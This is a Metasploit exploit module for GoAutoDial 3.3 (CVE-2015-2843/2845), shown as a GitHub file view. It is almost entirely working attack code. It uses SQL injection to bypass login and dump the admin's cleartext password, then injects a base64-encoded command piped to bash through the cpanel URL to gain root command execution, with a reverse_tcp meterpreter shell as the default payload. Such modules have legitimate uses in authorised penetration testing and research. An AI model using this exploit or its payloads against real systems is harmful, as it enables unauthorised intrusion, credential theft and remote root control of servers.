/
goautodial_3_rce_command_injection.rb
163 lines (136 loc) · 4.52 KB
/
goautodial_3_rce_command_injection.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'GoAutoDial 3.3 Authentication Bypass / Command Injection',
'Description' => %q{
This module exploits a SQL injection flaw in the login functionality for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command injection. This also attempts to retrieve the admin user details, including the cleartext password stored in the underlying database. Command injection will be performed with root privileges.
This module has been tested successfully on GoAutoDial version 3.3-1406088000.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Chris McCurley', # Discovery & Metasploit module
],
'References' =>
[
['CVE', '2015-2843'],
['CVE', '2015-2845']
],
'Platform' => 'linux',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Targets' => [ ['Automatic', {} ] ],
'DefaultOptions' =>
{
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'CMDSTAGER::FLAVOR' => 'echo'
},
'CmdStagerFlavor' => %w{ echo printf wget },
'DefaultTarget' => 0,
'Privileged' => true,
'DisclosureDate' => '2015-04-21'))
register_options(
[
OptPort.new('RPORT', [true, 'The target port', 443]),
OptBool.new('SSL', [false, 'Use SSL', true]),
OptString.new('TARGETURI', [true, 'The base path', '/'])
])
end
def check
res = check_version
unless res
vprint_error "#{peer} Connection failed"
return CheckCode::Unknown
end
unless res.code == 200 && res.body =~ /goautodial/
return CheckCode::Safe
end
unless res.body =~ /1421902800/
return CheckCode::Vulnerable
end
CheckCode::Safe
end
def check_version
uri = target_uri.path
send_request_cgi({
'uri' => normalize_uri(uri, 'changelog.txt'),
'headers' => {
'User-Agent' => 'Mozilla/5.0',
'Accept-Encoding' => 'identity'
}
})
end
def sqli_auth_bypass
uri = target_uri.path
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'index.php', 'go_login', 'validate_credentials'),
'headers' => {
'User-Agent' => 'Mozilla/5.0',
'Accept-Encoding' => 'identity'
},
'vars_post' => {
'user_name' => 'admin',
'user_pass' => "' or '"
}
})
end
def sqli_admin_pass
uri = target_uri.path
send_request_cgi({
'uri' => normalize_uri(uri, 'index.php', 'go_site', 'go_get_user_info', Rex::Text.uri_encode("' OR active='Y")),
'cookie' => @cookie,
'headers' => {
'User-Agent' => 'Mozilla/5.0',
'Accept-Encoding' => 'identity'
}
})
end
#
# Run the command stager
#
def execute_command(cmd, opts = {})
params = "|echo -n #{Rex::Text.encode_base64(cmd)} |base64 --decode|bash"
uri = target_uri.path
send_request_cgi({
'uri' => normalize_uri(uri, 'index.php', 'go_site', 'cpanel', Rex::Text.uri_encode(params)),
'cookie' => @cookie,
'headers' => {
'User-Agent' => 'Mozilla/5.0',
'Accept-Encoding' => 'identity'
}
})
end
def exploit
print_status("#{peer} - Trying SQL injection...")
res = sqli_auth_bypass
unless res
fail_with(Failure::Unknown, 'Connection failed')
end
if res.code == 200 && res.get_cookies.include?('go_session')
print_good("#{peer} - Authentication Bypass (SQLi) was successful")
else
fail_with(Failure::NotVulnerable, "Run 'check' command to identify whether the auth bypass has been fixed")
end
@cookie = res.get_cookies
print_status("#{peer} - Dumping admin password...")
res = sqli_admin_pass
unless res
fail_with(Failure::Unknown, 'Connection failed')
end
# Example response: admin|goautodial|Admin|||Y
if res.body.include?('|')
print_good("#{peer} - Found credentials: #{res.body}")
else
fail_with(Failure::NotVulnerable, 'No creds returned, possible mitigations are in place.')
end
print_status("#{peer} - Sending payload...")
execute_cmdstager(:linemax => 800)
end
end